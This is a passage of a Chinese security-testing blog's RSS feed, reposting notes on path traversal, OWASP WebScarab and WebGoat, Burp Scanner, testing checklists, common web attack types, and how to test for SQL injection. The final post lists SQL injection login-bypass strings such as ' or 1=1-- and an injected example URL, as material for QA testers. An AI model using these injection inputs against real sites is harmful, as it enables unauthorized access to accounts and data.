style="line-height:25px;text-indent:nullem;text-align:left"> </p><p style="line-height:25px;text-indent:nullem;text-align:left">总结<br /> 路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据  ，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序 的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。</p></div><img src ="http://www.cnitblog.com/stomic/aggbug/77104.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2012-01-09 00:45 <a href="http://www.cnitblog.com/stomic/archive/2012/01/09/77104.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OWASP WebGoat + WebScarab</title><link>http://www.cnitblog.com/stomic/archive/2011/10/28/76245.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Thu, 27 Oct 2011 22:02:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2011/10/28/76245.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/76245.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2011/10/28/76245.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/76245.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/76245.html</trackback:ping><description><![CDATA[<div><p>webscarab:</p><p><a href="https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project</a></p><p>&nbsp;</p><p><a href="http://www.hacker.com.cn/article/view_14789.html">http://www.hacker.com.cn/article/view_14789.html</a></p><p>&nbsp;</p><table table-break="" cellpadding="0" cellspacing="0"><tbody><tr><td remark="" word-break=""><div remark="" word-break="" id="div-view-summary">OWASP WebGoat + WebScarab</div></td></tr><tr><td word-break=""><div word-break="" id="div-view-remark"><p><strong><span style="color: #ff0000;">一、</span><a title="OWASP WebScarab Project" href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">OWASP WebScarab Project</a></strong><br />a tool for performing all types of security testing on <a target="_self"><u><strong>web</strong></u></a> applications and web services</p><p><strong>下载地址：</strong><a href="http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=61823" rel="nofollow">OWASP Source Code Center at Sourceforge</a></p><p><strong>安装方法：</strong><br /><a target="_self"><u><strong>Linux</strong></u></a>: <a target="_self"><u><strong>java</strong></u></a> -jar ./webscarab-selfcontained-[numbers].jar<br /><a target="_self"><u><strong>Windows</strong></u></a>: double-click the installer jar file</p><p>A Mac OS X package of the latest version can usually be found on<a href="http://research.corsaire.com/tools/" rel="nofollow">Corsaire's download page</a>.</p><p>You can also try the<a href="http://dawes.za.net/rogan/webscarab/WebScarab.jnlp" rel="nofollow">Java Web Start version</a>, which was signed by Rogan Dawes.<br /><br /><strong>演示&amp;教程下载地址：</strong><br />1.<a href="http://sourceforge.net/project/showfiles.php?group_id=233075&amp;package_id=286265" target="_blank">http://sourceforge.net/project/showfiles.php?group_id=233075&amp;package_id=286265</a><br />2.<a href="http://yehg.net/lab/pr0js/training/webscarab.php" target="_blank">http://yehg.net/lab/pr0js/training/webscarab.php</a></p><p><strong>截图：</strong><br /><img style="cursor: pointer;" title="点击图片可在新窗口打开" alt="" src="http://www.owasp.org/images/3/31/WebScarab_after_browsing.png" width="907" height="403" /></p><p><strong>详情：</strong><a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" target="_blank">http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project</a></p><p><strong><span style="color: #ff0000;">二、</span><a title="OWASP WebGoat Project" href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">OWASP WebGoat Project</a></strong><br />an online training environment for hands-on learning about application security<br /><a href="http://huaidan.org/" target="_blank">鬼仔</a>注：也是WebScarab的那些演示中用的那套系统。</p><p><strong>下载地址：</strong><a target="_self"><u><strong>Google</strong></u></a> code downloads</p><p><strong>安装方法：</strong><br />* Double-click on webgoat.bat - a Tomcat command window starts<br />* Browse to<a href="http://localhost/WebGoat/attack" rel="nofollow">http://localhost/WebGoat/attack</a></p><p><strong>用户手册：</strong><a title="WebGoat User and Install Guide Table of Contents" href="http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents">WebGoat User and Install Guide</a></p><p><strong>演示&amp;教程下载地址：</strong><a href="http://yehg.net/lab/pr0js/training/webgoat.php" target="_blank">http://yehg.net/lab/pr0js/training/webgoat.php</a></p><p><strong>截图：</strong><br /><img style="cursor: pointer;" title="点击图片可在新窗口打开" alt="" src="http://www.owasp.org/images/b/b6/WebGoat-Phishing-XSS-Lesson.JPG" width="1041" height="875" /></p><p><strong>详情：</strong><a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project" target="_blank">http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project</a></p></div></td></tr></tbody></table><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><h1>WebScarab</h1>baikeViewInfo.expIndex="0";baikeViewInfo.subInfo["2460659"]={title:"WebScarab"};<div id="lemmaContent-0">　　这主要是一款代理软件 或许麽有<a target="_self"><u><strong>其他</strong></u></a>的工具能和OWASP的WebScarab如此丰富的功能相媲美了，如果非要列举一些有用的模块的话，那么他们包括HTTP代理，网络爬行、网络蜘蛛，会话ID分析，自动脚本接口，模糊<a target="_self"><u><strong>测试</strong></u></a>工具，对所有流行的WEB格式的编码/解码，WEB服务描述语言和SOAP解析器等。WebScarab基于General Public License(GNU)版本协议。和Paros 一样是用JAVA编写的，因此安装它需要JRE.　 　WebScarab的HTTP代理提供了预期的功能（包括HTTPS拦截，不过和PAROS一样有认证报警）。WebScarab也提供了一些花哨的功 能，比如SSL客户认证支持，十六进制或URL编码参数的解码，内置的会话ID分析和一键式&#8220;完成该会话&#8221;以增加效率等。图1-8显示WebScarab 篡改隐藏的"Cost"字段，本章中在多处引用了该字段。就基本功能而言，WebScarab和PAROS差不多，但WebScarab为更懂技术的用户 提供了更多的功能，并提供了对隐藏的底层更多的访问。但是，由于PAROS更简单，我们仍推荐学者在开始时使用它</div></div><img src ="http://www.cnitblog.com/stomic/aggbug/76245.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2011-10-28 06:02 <a href="http://www.cnitblog.com/stomic/archive/2011/10/28/76245.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Burp说明</title><link>http://www.cnitblog.com/stomic/archive/2011/02/16/72814.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Tue, 15 Feb 2011 17:50:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2011/02/16/72814.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/72814.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2011/02/16/72814.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/72814.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/72814.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 什么是打嗝扫描仪？ Burp Scanner is a tool for performing automated discovery of security vulnerabilities in web applications.打嗝扫描仪是用于执行在Web应用程序的安全漏洞的自动发现工具。 It is designed to be used by penetration testers, an...&nbsp;&nbsp;<a href='http://www.cnitblog.com/stomic/archive/2011/02/16/72814.html'>阅读全文</a><img src ="http://www.cnitblog.com/stomic/aggbug/72814.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2011-02-16 01:50 <a href="http://www.cnitblog.com/stomic/archive/2011/02/16/72814.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）软件安全性测试</title><link>http://www.cnitblog.com/stomic/archive/2011/02/13/72788.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Sun, 13 Feb 2011 09:04:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2011/02/13/72788.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/72788.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2011/02/13/72788.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/72788.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/72788.html</trackback:ping><description><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 150%;"><span style="line-height: 150%; font-family: 宋体;">软件<a target="_self"><u><strong>安全性测试</strong></u></a>包括程序、<a target="_self"><u><strong>数据库</strong></u></a>安全性测试。根据系统安全指标不同测试策略也不同。</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 150%;"><span style="line-height: 150%; font-family: 宋体;">用户认证安全的测试要考虑问题：</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>1.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">明确区分系统中不同用户权限</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>2.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统中会不会出现用户冲突</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>3.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统会不会因用户的权限的改变造成混乱</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>4.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">用户登陆密码是否是可见、可复制</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>5.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">是否可以通过绝对途径登陆系统（拷贝用户登陆后的链接直接进入系统）</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>6.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">用户推出系统后是否删除了所有鉴权标记，是否可以使用后退键而不通过输入口令进入系统</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 150%;"><span style="line-height: 150%; font-family: 宋体;">系统网络安全的测试要考虑问题</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>1.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">测试采取的防护措施是否正确装配好，有关系统的补丁是否打上</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>2.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">模拟非授权攻击，看防护系统是否坚固</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>3.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">采用成熟的网络漏洞检查工具检查系统相关漏洞（即用最专业的黑客攻击工具攻击试一下，现在最常用的是</span><span style="line-height: 150%;" lang="EN-US">NBSI</span><span style="line-height: 150%; font-family: 宋体;">系列和</span><span style="line-height: 150%;" lang="EN-US">IPhacker IP</span><span style="line-height: 150%; font-family: 宋体;">）</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>4.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">采用各种木马检查工具检查系统木马情况</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>5.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">采用各种防外挂工具检查系统各组程序的客外挂漏洞</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 150%;"><span style="line-height: 150%; font-family: 宋体;">数据库安全考虑问题：</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>1.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统数据是否机密（比如对银行系统，这一点就特别重要，一般的网站就没有太高要求）</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>2.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统数据的完整性（我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整，对于这个系统的功能实现有了障碍）</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>3.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统数据可管理性</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>4.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统数据的独立性</span><span style="line-height: 150%;" lang="EN-US"></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%;"><span style="line-height: 150%;" lang="EN-US"><span>5.<span style="font: 7pt 'Times New Roman';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 150%; font-family: 宋体;">系统数据可备份和恢复能力（数据备份是否完整，可否恢复，恢复是否可以完整）</span></p><img src ="http://www.cnitblog.com/stomic/aggbug/72788.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2011-02-13 17:04 <a href="http://www.cnitblog.com/stomic/archive/2011/02/13/72788.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）安全性测试系列之一-网站安全性问题</title><link>http://www.cnitblog.com/stomic/archive/2011/02/13/72787.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Sun, 13 Feb 2011 08:57:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2011/02/13/72787.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/72787.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2011/02/13/72787.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/72787.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/72787.html</trackback:ping><description><![CDATA[虽然我的<a target="_self"><u><strong>工作</strong></u></a>经验有四年,但是算是<a target="_self"><u><strong>测试</strong></u></a>新手,在测试行业混也只有半年的时间,现在在一家外包公司做QA,该公司的业务都是基于B/S结构的,我的测试工作也主要是WEB测试.
<p>&nbsp;&nbsp; 其实我知道的关于WEB测试的东西也是纯理论性的,除了要进行<a target="_self"><u><strong>功能测试</strong></u></a>外,还要进行界面测试,兼容性测试,性能测试,安全性测试.</p>
<p>&nbsp;&nbsp; 在项目初期我已经把<a target="_self"><u><strong>安全性测试</strong></u></a>纳
入到测试的计划中了,但是苦于不知道如何下手,一直也没有开展这项测试,直到有一天,我们的公司的一位程序员偶然从GOOGLE中搜索到了一个网站,这个
网站报告了我们现有程序中存在着XSS漏洞.我们公司的人基本上都不了解安全性测试,出了这个事件后,安全性测试也被正式提到了测试的工作日程中.</p>
<p>&nbsp;&nbsp; 我通过查找资料,总结了一下安全性测试的内容,内容并不完整,有待继续补充.</p>
<p>&nbsp;&nbsp; 我们将会从三个方面来讨论安全性测试,首先是安全性问题都包括哪些?其次是如何进行安全性测试?最后是安全性测试工具.</p>
<p>&nbsp;&nbsp; 今天主要总结安全性问题都包括哪些.<br></p>
<p>&nbsp;&nbsp; 1.DJANGO的一篇文档中介绍了关于安全性问题包括的内容:<span style="font-family: verdana;" lang="EN-US"><strong><a  href="http://www.djangobook.com/en/1.0/chapter19/" target="_parent">http://www.djangobook.com/en/1.0/chapter19</a></strong></span></p>
<p><span style="font-family: verdana;" lang="EN-US"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>这篇文章的主题思想是:</span>Never — under any circumstances — trust data from the browser.(从不要相信来自浏览器端的数据,因为你永远不可能知道在浏览器进行数据操作是你的用户还是正在寻找攻击漏洞的黑客)</p>
<p><span style="font-family: verdana;" lang="EN-US">&nbsp; &nbsp; &nbsp;2.安全性问题包括的内容:</span></p>
<ul>
    <li>
    <p><span style="font-family: verdana;" lang="EN-US"></span><a target="_self"><u><strong>SQL</strong></u></a> Injection:(SQL注入)<span style="font-family: 'Courier New','Tahoma','Verdana','Courier','宋体';"></span></p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p><em>SQL injection</em>is a common exploit in which an attacker alters Web page
parameters (such as<tt class="docutils literal"><span class="pre">GET</span></tt>/<tt class="docutils literal"><span class="pre">POST</span></tt>data or URLs) to insert arbitrary SQL
snippets that a naive Web application executes in its database directly.</p>
<p>SQL注入是最常见的攻击方式,它的主要原理是:攻击者通过改变WEB页的参数(如GET/POST数据或是URLS)直接将SQL片断提交到服务器,并在服务器端执行的过程.</p>
</div>
<ul>
    <li>
    <p>Cross-Site scrīpting (XSS):(跨站点脚本攻击)</p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p><em>Cross-site scrīpting</em>(XSS), is found in Web applications that fail to
escape user-submitted content properly before rendering it into HTML. This
allows an attacker to insert arbitrary HTML into your Web page, usually in the
form of<tt class="docutils literal"><span class="pre">&lt;scrīpt&gt;</span></tt>tags.</p>
<p>Attackers often use XSS attacks to steal cookie and session information, or to trick
users into giving private information to the wrong person (aka<em>phishing</em>).</p>
<p>XSS定义:是由于WEB程序没有对用户提交的HTML内容进行适当的转译,这样攻击者就可能在你的WEB页中插入一些HTML语句,这些语句通过以&lt;SCRITP&gt;TAG的形式出现.</p>
<p>攻击者通常使用XSS攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息暴露给错误对象(又称为钓鱼)</p>
</div>
<ul>
    <li>
    <p>Cross-Site Request Forgery:(指跨站点请求伪造)</p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p>Cross-site request forgery (CSRF) happens when a malicious Web site tricks users
into unknowingly loading a URL from a site at which they&#8217;re already authenticated —
hence taking advantage of their authenticated status.</p>
<p><br>CSRF:通过在
WEB页或在给用户发邮件中插入恶意代码(通常是链接或是脚本),比如发送一个带有银行取款链接的图片或脚本(通常是HTML或JAVAscrīpt),
当用户访问这个图片时，此时页面加载图片过程会隐密地链接到一个远程页面，这个页面会自动向目标站点发起请求,如果这个目标站点的仍保留这个用户的
COOKIE信息,并且这个COOKIER未过期,那么攻击者就可以在用户不知情的情况以用户的身份登录银行或执行取款操作.</p>
<p>CSRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点</p>
</div>
<ul>
    <li>
    <p>Session Forging/Hijacking:(Session<font size="2">篡改</font>)</p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p><br></p>
</div>
<ul>
    <li>
    <p>Email Header Injection:(邮件标题注入)</p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p>SQL injection&#8217;s less well-known sibling,<em>email header injection</em>, hijacks
Web forms that send email. An attacker can use this technique to send spam via
your mail server. Any form that constructs email headers from Web form data is
vulnerable to this kind of attack.</p>
<p><br>email header injection 与 SQL注入的原理类似,它的原理是:通过在EMAIL的SUBJECT中输入一些特殊语句如"\n",攻者者可以利用这个缺陷通过你的邮件服务器发送垃圾邮件.</p>
<p><em></em></p>
</div>
<ul>
    <li>
    <p>Directory Traversal:(目录遍历)</p>
    </li>
</ul>
<div style="margin-left: 40px;">
<p><em>Directory traversal</em>is another injection-style attack, wherein a malicious
user tricks filesystem code into reading and/or writing files that the Web
server shouldn&#8217;t have access to.</p>
<p><br>目录遍历是另一种注入类型的攻击,攻击者欺骗文件系统读或写服务器不允许操作的文件.</p>
</div>
<ul>
    <li>
    <p>Exposed Error Messages:(曝露错误信息)</p>
    </li>
</ul>
<p>During development, being able to see tracebacks and errors live in your
browser is extremely useful.However, if these errors get displayed once the site goes live, they can
reveal aspects of your code or configuration that could aid an attacker.</p>
<br>开发过程中,如果可以看到错误或历史记录对FIX问题是非常有用的.但是如果这些错误信息被攻击者所获取,那么攻击者就可以通过错误信息而了解到应用程序代码或是<a target="_self"><u><strong>数据库</strong></u></a>或是配置等方面的内容,并为期其行攻击提供有力的帮助.<img src ="http://www.cnitblog.com/stomic/aggbug/72787.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2011-02-13 16:57 <a href="http://www.cnitblog.com/stomic/archive/2011/02/13/72787.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）安全性测试系列之二-如何对网站进行安全性测试?</title><link>http://www.cnitblog.com/stomic/archive/2011/02/13/72786.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Sun, 13 Feb 2011 08:51:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2011/02/13/72786.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/72786.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2011/02/13/72786.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/72786.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/72786.html</trackback:ping><description><![CDATA[<p class="MsoNormal" style="text-align: left;" align="left"><font size="2">  DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行<a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">测试</font></strong></u></a>.本章的主要内容是针对上章中提及的安全性问题介绍如何进行<a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">安全性测试</font></strong></u></a>.</font></p>
<p class="MsoNormal" style="font-weight: bold; text-align: left;" align="left"><font size="2">  1.SQL Injection(<a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">SQL</font></strong></u></a> 注入)</font></p>
<p class="MsoNormal" style="text-align: left;" align="left"><font size="2">  (1)如何进行SQL注入测试?<br>
</font></p>
<ul>
    <li><font size="2">首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.</font></li>
</ul>
<div style="margin-left: 40px;">注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在&lt;FORM&gt;和&lt;/FORM&gt;的标签中间的每一个参数传递都有可能被利用.<br>
<table class="FCK__ShowTableBorders" style="font-size: 12px; width: 80%;" align="center">
    <tbody>
        <tr>
            <td>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;</span><span>form id</span><span>=</span><span>"form_search" action</span><span>=</span><span>"/search/" method</span><span>=</span><span>"get"</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;</span><span>div</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;</span><span>input type</span><span>=</span><span>"text" name</span><span>=</span><span>"q" id</span><span>=</span><span>"search_q" value</span><span>=</span><span>"" /</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;</span><span>input name</span><span>=</span><span>"search" type</span><span>=</span><span>"image" src</span><span>=</span><span>"/media/images/site/search_btn.gif" /</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;</span><span>a href</span><span>=</span><span>"/search/" class</span><span>=</span><span>"fl"</span><span>&gt;Gamefinder&lt;/</span><span>a</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <p class="MsoNormal" style="text-align: left;" align="left"><font size="2"><span>&lt;/</span><span>div</span><span>&gt;</span><span style="font-size: 9pt;"></span></font></p>
            <font size="2"><span>&lt;/</span><span>form</span><span>&gt;</span></font></td>
        </tr>
    </tbody>
</table>
<br>
注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10</div>
<ul>
    <li>其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--</li>
</ul>
<table class="FCK__ShowTableBorders" style="font-size: 12px; width: 80%;" align="center">
    <tbody>
        <tr>
            <td>
            <p class="MsoNormal" style="margin-left: 15.25pt; text-align: left;" align="left"><span style="font-size: 9pt;">注1：根据实际情况<span>,SQL</span>注入请求可以使用以下语句<span>:</span></span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">' or 1=1- -</span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">" or 1=1- -</span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">or 1=1- -</span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">' or 'a'='a</span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">" or "a"="a</span></p>
            <p class="MsoNormal" style="text-indent: 53.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">') or ('a'='a <br>
            &nbsp;&nbsp;  注2：为什么是<span>OR</span>，以及<span>',</span>――<span>是</span>特殊的字符呢？<span></span></span></p>
